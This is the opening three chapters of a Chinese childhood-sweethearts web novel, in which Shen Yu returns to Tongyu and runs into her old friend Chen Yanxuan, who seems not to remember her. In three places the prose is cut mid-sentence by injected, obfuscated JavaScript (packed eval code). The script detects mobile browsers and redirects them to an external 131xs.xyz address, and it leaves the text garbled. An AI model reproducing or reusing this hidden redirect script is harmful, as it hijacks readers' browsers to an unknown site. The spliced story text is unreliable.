《讨厌之名［青梅竹马］》 1. 重逢. 八月尾，夏天的暑气正盛，地处南方的同榆更是热得难耐。几乎要将人吞噬的火气包裹着整座城市，压使人们躲在水泥楼房中闭门不出，贪婪地在四方天地里享受着幸存的凉爽。 圆方巷里深处，两层漂亮的小洋楼装饰得当，在其他楼房建筑中并不突兀，走近看却也亮眼。本看着有了些年头的砖瓦，经过了油漆的粉饰又焕然一新。 在前几天经过忙里忙外的搬运后，今天终于成功落地，恢复了宁静，与巷子祥和的氛围融为一体。 圆方巷原先算是同榆中心地界，但在后面迎来改革开放浪潮后，被作为主要发展区的繁诚区高楼崛起，向四周辐射，形成了强势的经济网络。渐渐的，圆方巷这边也就没落了。 但它古香古色的风格却仍然吸引着不少人前来，他们或许没有太过令人发指的经济实力，能豪掷千金在市中心买房。但胜在经济基础扎实，能做些小本生意让家人过上还不错的日子。 这其中就包括沈寓的父母。 在十几年前，沈父沈母带着尚还年幼的沈寓定居在同榆开始打拼。几年后生意渐渐起来，工作就更加忙碌了，各处奔波时常不着家，无法兼顾女儿的成长，只能将其送回临昱老家，托外祖家照顾。近几年稳定下来，才又将沈寓接回来，在这边完成学业。 房间里的冷气打得很足，床上的少女卷着一层空调被望着飘窗发呆，思绪也跟着被隔绝在外面的热气到处漂浮。 五岁的初遇，八岁的暂离，再到现在十五岁的重逢。从当初打工时候的筒子楼，到如今的洋楼房，十年过去了，说不唏嘘，是不可能的。 房门轻敲，门外传来女人温和的声音。 “寓寓，醒了吗？” 沈寓思绪被打乱，意识过来是她妈孟梧女士。于是从床上轻翻下床，边嘴里回应着“睡醒了，来了妈”边去门口开门。 墙侧的挂钟指向十一点，已经差不多中午了，孟梧应该是特地赶回来陪她吃饭的。 看到沈寓，孟梧先下意识地捧着她的脸亲了亲：“怎么样？在这边住着还习惯吗？你爸爸有点忙，所以妈妈先回来了。” 沈寓是沈丞和孟梧独生的孩子，从小都是当宝一般捧在手里。刚做起生意时即使再忙，也不肯假手他人将女儿送回去照顾，一直都是亲力亲为。后面实在力不从心，送回去后也从没断过联系。除了每日电话煲粥，只要长假得空，也会马不停蹄回去陪陪女儿。 也因为这样，沈寓从来没觉得自己是留守儿童。 但由于陪伴的时间还是有些少，夫妻二人自始自终还是对这个女儿常觉愧疚。 沈寓对她妈妈这个行为见怪不怪，伸了伸懒腰道，“嗯，还可以。就是刚回到这边，感觉既陌生又熟悉的。” “有这种感觉肯定是必然的。”孟梧揽着沈寓的肩膀，边带着她下楼边安慰着，“没事，再待个十天半个月就又熟悉了。这半个月，妈妈都陪着你适应。” “对了，你顾阿姨帮你领回来的书你看见了吗？” 沈寓下楼后盘腿坐在沙发上，精神还是有些恍惚。听见这话才回忆起摊在她桌子上的那堆书，随即点点头，“看见了。” 她准备入学的实验附中虽然还没开学，但前几个星期就组织去拿新书和校服了。沈寓当时还在外婆家避暑，没赶回来，孟梧便只能拜托孩子同在实验的朋友帮忙拿一下。 “过几天就开学了，你要去学校先看看吗？我看要不以后让彭叔接你上下学吧，这样也方便。” 沈寓摇摇头，回绝了：“不用。彭叔不是要送你和爸爸吗？我自己坐地铁也行，圆方巷出去就是地铁口，挺近的。” 这个年纪的孩子，总希望有些私人空间。 实验离圆方巷并不太远，地铁下去坐个七站就到了。孟梧想了想，最后选择同意了。 “那也行。实验附近你也熟，你还记得你小时候上的那个福义小学吗？实验附中也在那条路上。” 那条路？ 申南路。 沈寓的记忆若水沫般被这句话聚起，翻天倒海地朝她涌来，如浪潮逐击海岸礁石。记忆中的人和事，已经被岁月将轮廓模糊起来，所有熟悉的事物，也都伴随着搬迁而消逝。 “说起来，我记得之前你不是有几个玩的比较好的朋友们吗？还有联系吗？” 沈寓听到这话不由苦笑，“妈，你们带我走的时候我才几岁啊。没手机没通讯工具的，咋联系啊？” 厨房里忙活的孟梧愣了愣，反应过来：“也是，那个时候你才八岁。” 那会儿孟梧和沈丞还没萌发出自己打拼创业的念头，当时还在给人打工，常常要很晚才能来接她。 福义小学五点就放学了，当夜幕降临时，学校黑灯瞎火，找不出几个人影。夫妻俩要么拜托同事帮忙接，要么就只能等忙完后姗姗来迟。 早的时候是六七点，再晚点，就有可能是八九点了。 当时五六岁的沈寓只能跟保安室里的保安爷爷挤挤，小小的一个人儿，形单影只的。但后来不知道从什么时候开始，她的身边有了一个陪伴的小男孩。 对这个孩子，孟梧没什么印象了。只模模糊糊记得这孩子挺冷的，话不多，跟他打招呼时也只是淡淡地回应几句，但是似乎女儿跟他关系不错。 沈寓趿拉着拖鞋，从沙发缓缓移动到餐桌旁，刚一沾凳子就葛优躺下来。 俨然一副对生活失去希望的样子。 孟梧从厨房端菜出来，看到这番景象，不由轻拍了一下沈寓肩膀，“真是，坐没坐样。看你这几天在家里待着也腻，趁着离开学还有几天，出去逛逛散散心。”想了想后又改口，“算了，也别过几天了，就今天下午吧。” “行。” 沈寓边动筷子偷偷尝一块红烧里脊边应下。 将近七八年没回来了，同榆这边的发展日新月异。虽说学校离这不远，但还是得摸摸路线提前探探路，这样总不至于刚去就抓瞎。 * 下午的热气延续着中午的炙热，沈寓在卧室里磨蹭了很久，差不多四点，才肯纡尊降贵地从冷气房中出来。 七号线按往常来说是繁忙的，但今天正处假期，又热，来往的人就少了些。进列车后，沈寓随便找了个位置坐下，边微信和人聊着天，边注意地铁的站点。 知了：“所以你现在是正在去学校的路上？” 寓言：“是。” 对方停留了很久才回复：“唉，沈叔孟姨也真是的，要把你接回去也不早说。中考结束突然给我当头一棒，我到现在都没缓过来。” 知了：“我都不敢想没有你的高中我会怎么样。不太中了，我需要心理安慰。” 屏幕对面的人叫章知之，沈寓发小，外婆家从小一起玩到大的。俩人住的地方离得近，年级相仿，在学校又是同学，一来二去就混得熟了起来。 除了五岁到八岁那几年沈寓被接去同榆，两人从小到大就和两块牛皮糖黏在一块一样从没分开过。 沈寓看到这话，打字的手指微微蜷缩了一下，随即又飞快地打下字，“没事，也就三年。高考后再聚也是一样的。你寓姐我这三年一有空就回去看你，行不行？” 语气中虽有安慰之意，但不难看出当事人也是在故作坚强，显然也没有脱离出挚友离开的悲伤。 知了：“……算了，懒得喷你。但不管你在学校交了多少朋友，都别忘了，我才是你的第一位。” 女孩子之间总是莫名其妙地在意这些细节，别扭而委婉地表达自己的占有欲。言外之意是你可以交很多朋友，但我们两个，必须是第一好。 沈寓被逗笑，回复道，“好，交了谁你在我心里都是第一位，行不行？” 消息甫一发送出去，恰好这时列车提示申南站到了，沈寓跟章知之简单说了几句后便把手机随手放进防晒外套的口袋，顺着稀稀拉拉几个人一起走出去。 电梯往上，景象逐渐开阔，出站口对着的就是申南路。道路延伸往前，起初是有点倾斜的小坡，再到后面的坦途大道，被两侧的樟树包围着，撒下一小片阴凉，一时看不到尽头。 沈寓眸光动了动，迎面而来的风带起了脸旁的发梢，随着记忆一起翻飞。模糊不清的轮廓被眼前的实景重新塑造，描绘，再次在脑海里清晰起来。 那些人和事也跟着真切起来。 -喂，都回去了，你在这哭什么？ 小女孩背着个比自己大了些的书包，蜷缩在保安室的角落。借着点马路的灯光，将头埋进臂弯里，抽抽噎噎的，像只被人抛弃的小猫，看着可怜。 身前只有过往的几辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138923|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车和对面一些还开着的店铺，身后是已经熄灯的校园，割裂在两者之间。 女孩子听到有声音，小心翼翼地从臂弯里抬头，泪眼朦胧，刚刚哭过的眼睛红了一圈。泪水糊了满脸，但依旧能看得出模样。 五官小巧，粉雕玉琢的娃娃，是五六岁时的沈寓。 面前的男孩逆着光站着，手里还拎着两本练习册，脸冷冷的，说出的话也没什么人情味。但在这个时候的沈寓听来，却像是冷清的环境中忽然有了烟火。 女孩子缓了半天，吸了好几口气才把鼻尖的酸涩压下：“我、我在等我爸爸妈妈来接我。保安室的爷爷今天没开门，我进不去，只、只能在外面……” 听到后面，小男孩好像已经知道发生了什么，淡淡地瞥了她一眼，没继续和她搭话，只是站在原地，将身子转过去。 没走。 他背对着沈寓，像是割裂的两个场景中乍然闯入的人，将她划进了一个安全地带。 有些大的风被他遮挡住，垂在身子旁的练习册也跟着翻飞，留下绰约光影。 两人一前一后就这样站着，不知道这么过了多久。但沈寓依稀记得，是等孟梧把她接走后，那个小男孩好像才离开的。 也是从那以后，她开始认识了隔壁班的一个男生。整天黏在别人后面，像只叽叽喳喳的喜鹊。 -“陈晏宣，你今天几点走啊？” -“陈晏宣，你中午吃了什么呀？” -“陈晏宣，你今天下午能不能陪我在学校玩过家家啊？我爸爸又要晚一点才能来接我。” -“陈晏宣，今天的作业你做了吗？教教我吧。” …… 男孩起初不耐烦，总是赶她走。但那时候的沈寓却意外的坚定，一副不达目的不罢休的做派。吃午饭的时候要粘着他，回教室睡午觉的路上也要缠着他，平常上下课也要在人班门口等着。 老师那会儿觉得好笑，时常打趣，“寓寓为什么总是去找陈晏宣啊？是因为他长得好看吗？” 小小的沈寓义正言辞，掰起食指正经地摇摇头，“才不是呢。虽然他长得确实好看，但是他是一个特别好的人！我妈妈说了，要看人的内在，而不是长相。” 老师们听完常常乐得合不拢嘴。 再后面，当老师们再去留意这对小朋友时，那个像冰山一样，不爱搭理人的小男孩，不知道什么时候真的被捂化了。 不再只是女孩单方面地在班级门口等他，男孩下课早时也会倚在走廊旁边漫不经心地等着。两人开始结伴去食堂吃午饭，再一起回到教室，分头去睡午觉。 接着往后，二人的队伍壮大，加入了自称是男孩兄弟的孟云凡，就变成三人行了。 三人的友谊异常坚固，孟云凡大大咧咧的性格和沈寓很合得来，叽叽喳喳的喜鹊又多加了一只。只不过一到下课，孟云凡的父母就循规蹈矩地来接了，无论风吹雨打绝不晚点。 于是三人队在五点半后，又会自动恢复成二人行。但保安室里的桌子，潜移默化的，默认多了一个人留下来写作业。 那个形单影只的小女孩，因为这些改变，似乎不再感到很孤单了。 回忆像车轮一样滚动着，伴随着前移的步子，等沈寓反应过来时，才发现已经跟着导航不知不觉地到了目的地。 校门口的墙上红砖黄字，“同榆实验中学”六个大字龙飞凤舞，迥劲有力。 她跟门口的保安说了声，随后进到教学楼找教室的方位，确定好具体位置后又在校园里逛了逛。 实验不算太大，分成了南区和北区。沈寓按着录取通知书上的指南跟着走了走，差不多就把学校摸索清楚了。 等人从里面出来，已经差不多六点了。 肚子有些饿，沈寓怕等回去的时候她就要饿晕了，当机立断给家里群聊发了条消息说晚上在外面吃。随后便开始在申南路上像条饿鬼一样飘荡，寻觅合适的落脚处。 “老王云吞” 探着头正左顾右盼的时候，那金光闪闪，恨不得闪瞎所有路过的人的眼的招牌猛然将她的视线吸引过去。 这招牌，想不让人注意都难。 这个店她以前没见过，应该是新开的。沈寓犹豫了会儿，最后还是郑重地决定把她的晚餐交由这个看着还不错的面馆。 2. 干嘛. 店铺虽然招牌做的显眼，但似乎没吸引到多少人。比如现在，沈寓远远看去，椅子几乎都是空的。 那老板是个中年人，穿着藏青色的老年衫，正躺在门口的躺椅上。左手拿着蒲扇摇晃，右手拿着手机刷视频，没让一只手闲着。 “六星街里还传来，巴扬琴声吗……” 手机声音外泄，还伴随着他时不时传来的笑声。 刚走过马路的沈寓见到这番情景，一时有些犹豫还不要走不进去。 那老板好像早就知道有人要来，看到人影走进，手里的蒲扇拿开正准备开口施施然地说话，待看清楚来人时又卡在嘴边。 看样子是认错了人，但又很快从善如流地改口，“哟，小姑娘你是来吃面的？”语气中含着讶异和惊喜。 沈寓点点头，看了看门口的菜单牌后道：“一碗鲜虾云吞，多加点小葱。” “得嘞！小姑娘你往里找个位置先坐下，叔马上就给你做哈。”那老板像是几百年见不到客人，看到沈寓犹如捡到宝一样，热情地招呼着。 还没等沈寓反应过来，那刚刚还躺在摇椅上，翘着二郎腿怡然自得哼歌的大叔，此刻一溜烟已经钻进店里厨房了。 沈寓：“……” 现在是真的有点担心这家店到底靠不靠谱了。 总不能辜负别人一番热情，等做好了充分的心理准备，抬脚正要迈上台阶，兜里的手机却忽然振动起来。摸出来看时来电人显示：老沈。 沈寓意识到估计是她爹有些不放心，特地打电话过来看看她在哪吃饭。 于是边按下接听键边转身去路边的樟树下接听。 “喂，老沈。你女儿我现在的位置正处于同榆市申南路……”沈寓本想回忆一下具体的路线，但那四字金色大招牌很快就又晃荡在她眼前，“老王云吞。” 斟酌了一下，又补充道：“嗯……一家，很正宗，很气派的面馆。” 至少目前看样子是。 这是怕沈丞担心她又在外面乱吃垃圾食品。 但是看刚刚的架势，她感觉她待会吃的离垃圾食品估计也不远了…… “那行。我还想着要么就让彭叔把你接回来，咱一家人一起吃顿饭呢。”知道沈寓具体位置，电话那边的沈丞放下心来，但手边还在忙着工作。 父女俩一个比一个能编。 沈寓倒是深谙她爹的本性，“得了吧老沈，还吃饭呢。敢不敢打赌，你现在还在公司忙得脚不沾地吧？” 她其实知道这几天好像一个单子出了问题，沈丞和孟梧在公司几乎忙得团团转。 他们没把这个事情告诉沈寓，是她自己有一次不小心听到孟梧在阳台上打电话得知的。 被女儿戳穿，沈丞一时有些不好意思：“爸爸这几天工作确实有些忙，等忙完了，马上就回去陪我们宝贝闺女。” “得得得，你先忙你的吧，累都快累死了，还陪我呢。你和我妈注意身体，早点吃饭，这工作再忙也没有身体重要啊。” “好。”沈丞听到这话不由觉得暖心，跟着应下。 沈寓又听沈丞和她交代了几句后才把手机挂断，恰好瞥见隔壁有家文创店。 想到前几天预习的书还没把知识点誊抄进笔记本，而刚刚点的面也没有这么快好，现在回去估计还要等一会儿。 她没作太多思考，踏步进去挑了几本。 挑和结账的时候还故意磨蹭了会儿，等忙完这些回来，已经差不多二十分钟了。 待沈寓走回面馆时，不远处的一张桌子上已经摆了一碗汤面。 热腾腾的鲜虾云吞半浮在油汤上，搭配着几根生菜，还有量很足的面，色香俱全，一眼望去倒是格外诱人。 胃里的馋虫被勾出来，沈寓也没认真看就直接拉开椅子坐下。从旁边竹筒抽出一双筷子，剥干净塑料袋就夹了一块过来吃。 云吞里的虾肉鲜嫩多汁，咬开时迸发在嘴里，嚼起来格外满足。 或许是由于前戏对它没抱有什么期待，此刻吃进去倒还算可以的反差，又或许是她太久没有吃过云吞面，肚子很饿的缘故，反正现在嘴里的东西，让她觉得是世间美味。 沈寓连吃了好几个云吞，又嗦了长长一口面，才满足地瘫在椅子上，左手食指伸出来满意地晃悠，眼睛却还闭着，“老王，你这个，太好吃了，怎么会人这么少，那些人简直就是没眼光！” 女孩忽又睁开眼睛，兴奋地转头想要继续夸赞老王的手艺，“只不过啊，这怎么没有小葱啊，我刚刚不是说加……” 她话忽卡在嘴里，还没问出，就被噎了一下。 因为对面有个人，手里拿着一瓶醋的小料瓶，正倚在墙柱边。身形清瘦，黑色的上衣勾勒出修长的身形。乌发浓密，额前碎发散乱。 黑眸冷冷清清，正不带任何情绪地盯着她。 “……”沈寓怔了怔，有些不明所以。 反应过来，才缓缓又试探性地吐出几个字，“有，什么事吗？” 这人怎么给她一种她欠他一屁股债，被找上门的感觉。 那人没直接理她，而是用手里的醋瓶指了指她桌前的面，拽得二五万八的样子。 “？”沈寓看清楚他指的是什么，脑袋上缓缓冒出几个黑人问号。 “那面，我的。”少年声音清冽懒散，许久后终于交代出原因。 “怎么可能，我来的时候都没人。”沈寓神情茫然，下意识反驳。 等联想到什么的时候，脑袋里嗡了一声。 等等，葱！！？ 果不其然，还没等她接着作出反应，厨房里的老王已经春风满面地端着一碗云吞出来了，嘴里还在吆喝着，“来咯，小姑娘，新鲜出炉香喷喷的鲜虾云吞面来咯……” 沈寓：“……” 老王人刚从厨房里出来，还没等走近，就看见沈寓眼睛睁得滴溜圆，正和他大眼瞪小眼。 “咋啦这是？姑娘你不会不想吃了吧？” 待又看到她手里的筷子和桌面的面碗，他脸上的笑容忽然僵了僵，干巴巴吐出几个字道。 “嘶…姑、姑娘，你这面，哪来的？” 沈寓朝他手里的碗看过去，她刚刚着重强调的小葱此刻正在油汤上自在地浮着。 两碗面几乎一模一样，唯一不同的是，一个加了葱，一个……没葱。 而且老王端来的那个碗，好像比她正在吃的那碗，小一点。 周遭的空气好像凝固了。 老王：“。” 沈寓：“。。” 而旁边那个，看着就更无语的样子了。 老王看看旁边站着的少年，再望向沈寓，好像已经明白了发生了什么，连忙出来笑着打圆场，“哎哟吃错了？没关系没关系，来小宣你吃这个，我把上面的葱捞一下，没事没事，姑娘你坐下吃吧……” 沈寓刚刚说的话啪啪打脸，青一块紫一块的，活像变色龙。白皙的耳朵处可以清晰看见耳根染红，显然有些不好意思。 “对不起，我刚刚实在是太饿了，就…饿狼扑食，看到那碗面，不小心，就直接吃了。”虽然把一个陌生男生的面吃了的行为不太光明，但是女孩还是以最大的诚意向男孩看去，直视他的眼睛。 目光清凌凌的，又接着解释着原因。 “然后因为我刚刚来的时候店里没人，我以为我是第一个点单的人。进来之后，看到和我点的一样的面，就先入为主地以为是我的了……” 说完后她有些心虚地把头低下来。 怎么这解释，听着理直气壮的（？ 不出所料，听解释的对象看着没有因为她的话而有丝毫动摇，反而眼底都是讥诮，眉梢轻挑。 “哦，这样？那吃了我的面，确实是你的问题。我也不计较，这样吧，你把你的那碗的小葱挑出来，”他语气停顿了下，拖着尾音慢悠悠地补充，“用筷子。” 前后对比一下，这么多字能从他尊贵的口中讲出实在是难得。但这些话却欠揍得要命，简直能把人活活气死。 “？？？” 沈寓闻言猛地抬起头，神情震惊，难以置信般看着他。 这人……故意报复她的吧！ 用筷子夹出这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138924|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葱花，夹到天荒地老啊！ 沈寓踌躇了会儿，思索后回复，“嗯……要不，我赔你一碗吧？你看这样行吗？” 对方没动静，一手抄兜，就这么盯着她。 看样子不太行。 老王看着情形不好，连忙跳出来充当和事佬，“哎呀小事小事，小宣你说你也是的，我待会帮你拿漏勺一捞不就得了啊？你非得为难人一饿急了的小姑娘干吗？” 边说着边凑在男生耳边悄声警告道， “我说陈晏宣你这臭小子今天跟我作对是吧，我这好不容易迎来个财神爷，你别给我赶跑了！” 陈晏宣淡淡瞥了一眼对面站着的沈寓。 那人被他显然气得不轻，眼睛虽然乖巧地垂下，但心里指不定怎么跳脚。 他没再说什么，接过了老王手里的面碗，去到另一边桌子坐下来了。 从沈寓这个视角看过去，他白皙修长的手指正捏着筷子，一点一点地挑出来葱。看样子很熟稔，挑得很快，葱花被他堆在桌子旁。 看着他单薄的背影，沈寓莫名觉得有些……惭愧？ 矛盾的心理交织着，终于，她扯了扯刚刚走过来的老王的衣角，“老王，要不我把他那碗面也补上吧。你跟我说说多少钱，我一并付给你。” 老王一听这话眼睛立马放光，但嘴里还在推辞着，“哎哟不用不用，他经常在我这吃白食的，那孩子脾气就这样，你别管他。你就付你那碗就行了。” 沈寓抿了抿唇，考虑再三最后还是点点头。 “本来我们这碗面呢，量应该是我刚刚手里拿的那样的。但是你不是不小心拿了他那碗吗，这碗的量就会大些。这样吧，鉴于你今天是第一个光临我们店的，你王叔我啊，就给你打个折。”老王一副勉为其难，大义舍钱的样子，“那就，五十吧。” “？？？？？？” 刚刚还在听着的沈寓眼睛再次放大，不可思议地望向他，嘴微张，简直不敢相信自己的耳朵，又重复了一次，“五……十？” 她没听错吧，五十？？一碗云吞面五十？？？ “是的你没听错，就是五十。”老王笑嘻嘻的，但察觉到她可能在想什么的时候很快又严肃正色道，“小姑娘你吃都吃了啊，不许吃霸王餐哈。” 沈寓想报警，这真的不是抢劫吗？？放眼望去整个同榆，就算再好吃谁家云吞面能卖五十？这三十就顶了天了！这面里是加金子了吗！！ 她现在终于回过味了，老王一开始见着她的惊喜不是因为终于有人来吃面了，也不是因为他手艺太差没客人愿意来，而是终于有第一次来不懂的冤大头了。 至于为什么没答应让她付那个男生的钱，估计也是发现了自己坑的实在太多了，良心发现吧。 沈寓：“……” 实在没法子，吃人嘴短，总不能耍赖。 她掏出手机，心不甘情不愿地对着桌上的二维码扫了扫，将钱付过去。 老王听到微信到账的声音，这才心满意足地离开。轻车熟路的样子，让沈寓怀疑，他已经不是第一次这么干了。 难怪没人愿意来。 沈寓坐下来，愤愤地用筷子在碗底戳了戳。 算了，至少是好吃的。 汤上的油跟着打着转，一圈一圈地泛着光。沈寓边嗦面边盯着出了神，余光中突然又注视到那边的少年，回忆起来。 刚刚老板是叫他，小轩？ 轩？ 哪个xuan？ 刚刚和少年对视的画面还历历在目，因为突如其来地刻意想起，变得更加清晰起来。 男生被生的很好看，骨相优越，五官轮廓分明深邃，黑色上衣将其衬得更甚。 莫名的，沈寓竟觉得他有点眼熟，两个影像不可思议地有些慢慢重叠。 “吃完了，走了。” 沈寓抬眼的一瞬间，男生正和老王告别，脸上依旧没什么表情。 她福至心灵地想到什么，呼吸忽然有些急促。 待男生经过她身边，准备出门的时候忽然扯住他的手臂，声线颤抖，“等等！” 3. 认识. 手被人毫无征兆地扯住，陈晏宣微微偏头，瞟了她一眼。正想要往回抽，却被沈寓紧紧抓住。 见如此，他也不动了。看着沈寓，等着对方动静。 “陈…晏宣？”即使知道这样的行为不太得体，但沈寓还是没松手，生怕一松手人就跑了。 她盯着他的眼睛，有些忐忑地念出那个已经很久没有听到的名字，渴望听到她心里的那个答案。 等了半天，说出的话才有了后续。 “你有事？”那人看着像是不认识她的样子，说出的话冷冰冰的，不带一点人情味。 但是听到这个答案的沈寓却高兴得要命，确认了这人身份仿若跟中了五百万彩票一样。眼睛一下就弯起来，眼中盛满了笑意。 眉眼弯弯，语调也跟着上扬， “真的是你啊！你还记得我吗？我是沈寓！！” 一旁看热闹的老王有些震惊，“哟，看来你俩还认识呢。” 被兴奋冲昏头脑的沈寓全然忘记了刚刚老王诈骗她五十块钱的事情，转头喜逐颜开道，“我跟他小时候一起玩的，铁哥们！” 老王像听到了什么惊天大瓜，不可置信地望向陈晏宣，“我去，小宣你啥时候除了孟云凡那浑小子还有个女娃娃好朋友啊？” 沈寓继续喜道，“我和孟云凡也认识，我们之前还……” 没等沈寓说下去，身边的那少年就开口了，“不认识，不熟。”几个字犹如冰水，一头浇下去让所有人都闭了嘴。 沈寓：“？” 老王也有些疑惑地看着他。 “……” 沈寓睫羽轻扇，喉头微动咽了口口水。还想再说些什么，却见手里的手腕已经被他的主人不耐地扯走了。 那人头也没回地往前走，只剩下被风吹动的衬衫背影，一如多年前他站在她面前帮她挡风，口嫌体直地陪着她等父母一般。 记忆和现实交叠，让人分不清何真何假。 沈寓愣在原地，不知所措地看了看刚刚被甩开的手，又下意识地望向门口，目光有些空洞。 刚刚咽下去的口水噎在喉咙里，梗塞着所有呼吸，仿佛要将那个背影拨茧抽丝，彻底地和过去分离开。 垂在身侧的手指微微蜷缩，连着思绪也带动起来。 好像……是跟原来不太一样了。 因为那个人，感觉不大认识她了。 “……”脑子一片空白，她缓了会儿才慢慢坐下。 失了神般想要再找一个东西聚焦，心里仿佛有种说不出的滋味。 老王看着有些不忍心，“或者，有没有一种可能，姑娘你认错人了？” 听到这话的沈寓猛地抬头，仿佛重新拾起希望，“他是叫陈晏宣吗？” “耳东陈？” “海晏河清的晏？” “宣兆的宣？” “……” 老王听到这话，不吭声了。好像是知道真的会让沈寓失望，于是过了半天才小心翼翼地回复，“呃，全对。” 沈寓终于垂下头来。 本来她也不抱什么希望了，叫陈晏宣这个字和音的本来就少，再加上有些相似的模样和轮廓，还在申南路这地方，那对象已经很明显了。 确定好了对方把她忘了的事实，她闷闷把面吃完，然后魂不守舍地离开了。 后面收碗的老王见状有些可怜地摇了摇头，感叹道，“唉，一个记得一个不记得，这还整上偶像剧狗血情节了。造孽吗这不是。” * 圆方巷。 门外的钥匙轻轻转动，“啪嗒”一声，沈寓推开门顺着走进去，右手打开了灯，向四周望了望。 果不其然，家里空无一人。 她换了双拖鞋走上二楼，一番洗漱后才走进房间，整个人没有骨头般一头栽倒在床上。 将头埋在枕头里，脑子里还在想着今天下午发生的事情。 陈晏宣、不记得她了。 陈晏宣。 不记得她了。 不、、记得她了。 这几个字符咒般不停在她脑子里晃悠。 沈寓越想越气。 不是，怎么能不记得她呢？小时候一起玩过家家，一起写作业，一起吃饭，一起睡觉的交情，这么深！ 他怎么能不记得她呢！！！ 被她随手甩到床头柜的手机滴滴了几声，振动的声音在空荡荡的房间里格外明显。 沈寓头仍闷在枕头里，但右手已经抓起电话随手接下。 “哈喽，我亲爱的小寓寓，你在干嘛呢！”女人精力充沛的声音从手机的另一边传来，背景音有些喧闹，欢声笑语不绝于耳，听着正在外面玩。 沈寓认出来声音，那是她姑姑，沈昭。 虽说不知道她打来给她电话的用意是什么，但沈寓有很强烈的直觉是她又要麻烦她帮忙干点什么事。 “在悲伤、在痛苦、在迷茫。” 沈寓郁郁不振的声音从枕头里传出。 沈昭被逗笑，窸窸窣窣了一阵，应该是寻了个空闲安静的地方和沈寓继续通电话，“来，跟小姑说说，怎么了？” 沈寓犹豫了会儿，瘪着嘴才把今天下午的事情和盘托出。 对面的沈昭听完，笑得前仰后翻，“你是说，你一年级玩的朋友，十年后不认识你了，然后你因为这个生气？” 等笑够了，才缓过来抹了抹眼角笑得太过溢出的泪水，“我说寓寓，你一年级和你现在的样子能一样吗？他不记得你不是很正常的事情吗？” 沈寓翻身过来，盯着头顶的天花板，不置可否，但还是不服气。 “可我都还记得他。” “我说你啊，这人和人之间发育的又不一样，没准有些人小时候长的和长大的样子呢，就没什么差别。”沈昭说，“可有些人呢，就是会和以前差距大点。再说，万一人家是脸盲呢？” “你看你小姑我就是个典型例子，我交那么多男朋友。但你要是问我一年前交的那人长什么样，我没准都描述不出来呢，更何况你那十年。” 说着说着又要回到她那讲了八百年的惊天地泣鬼神感情史了。 沈寓嘴角抿成一条直线，满脸无语：“……” 你可真会安慰人啊。 “得了，小姑你别开解我了，你这开解和没开解没差。我看人小狗汪汪几句我都能被它吸引注意不难过，你……算了吧，不是这块料。打电话给我到底有啥事你直说吧，你是不是又在外面闯祸了？” 刚刚听那背景音就觉得她正在酒吧里。 果不其然，对面的沈昭不好意思地嘿嘿了几声，“你看看，都说姑侄同心，这说的多对！” 沈寓在心里默默翻了个白眼。 “是这样的，你小姑我呢，打算过两个月回国玩几天，就在同榆。但是呢，我非常担心你爹又查我岗，于是……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138925|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还没等她说完，就被对面的沈寓喊停了，“等等，你说，你又要偷偷回来？？？” 沈昭并不喜欢念书，对于功课向来都是得过且过。当年高考落榜后，就被沈丞塞到国外留学读服设去了。 只不过她性子向来就不是能安稳在一个地方的，不是隔三差五溜回国内和狐朋狗友团聚就是约几个朋友全世界到处跑。 上次她偷偷溜回国内让沈寓帮她瞒着，事后事情败露，两个人都被教训得可惨。 一个胡作非为罪，一个包庇罪。 “我刚回同榆啊，新号，别搞。一人做事一人当，休想拉我下水。”沈寓拿起手机就准备按下挂断键。 “唉别别别啊，你小姑我这次回去是办正经事的！我准备给你爸妈一个惊喜！真的你相信我！” 沈寓将信将疑，“什么惊喜？” “这惊喜说出来肯定就不算了嘛，听你姑我的，你就帮帮忙，要是你爹给我打电话的时候我没接，我就说我正在跟你打电话，你就帮我串串供。” 沈寓：“。” “一般来说呢，你爹一周会问候我两次，偶尔打个电话。而你妈妈呢，一般就给我发消息。至于你爷爷奶奶那边，就更好糊弄了。反正就这么几次，我跟你打电话，你爸肯定不会怀疑的。” 沈寓：“。。” “哎哟小寓寓，你就帮帮你姑姑我嘛，算姑姑求你了行不行？” 最后被缠的不行，沈寓还是答应了下来。 “就这一次，万一你被发现了，不许说是我帮你的，只能说你当时逃电话时是故意打给我的。” 沈昭：“……” 这孩子，有点阴招全使她姑身上了。 “行行行，我答应你。” 沈昭见任务完成，很快就把电话挂了，“好了，姑姑先不跟你说了啊，我朋友喊我去玩了，你自己再好好消化一下哈。没事的，这友谊嘛，很好修复的，加油努力，姑姑相信你。” 刚说完，对面便传来嘟嘟的挂断声。 沈寓叹了口气，把手机从耳边拿下来重新丢回了床头柜。忽瞥见她买回来的笔记本还无人问津地躺在书桌上。 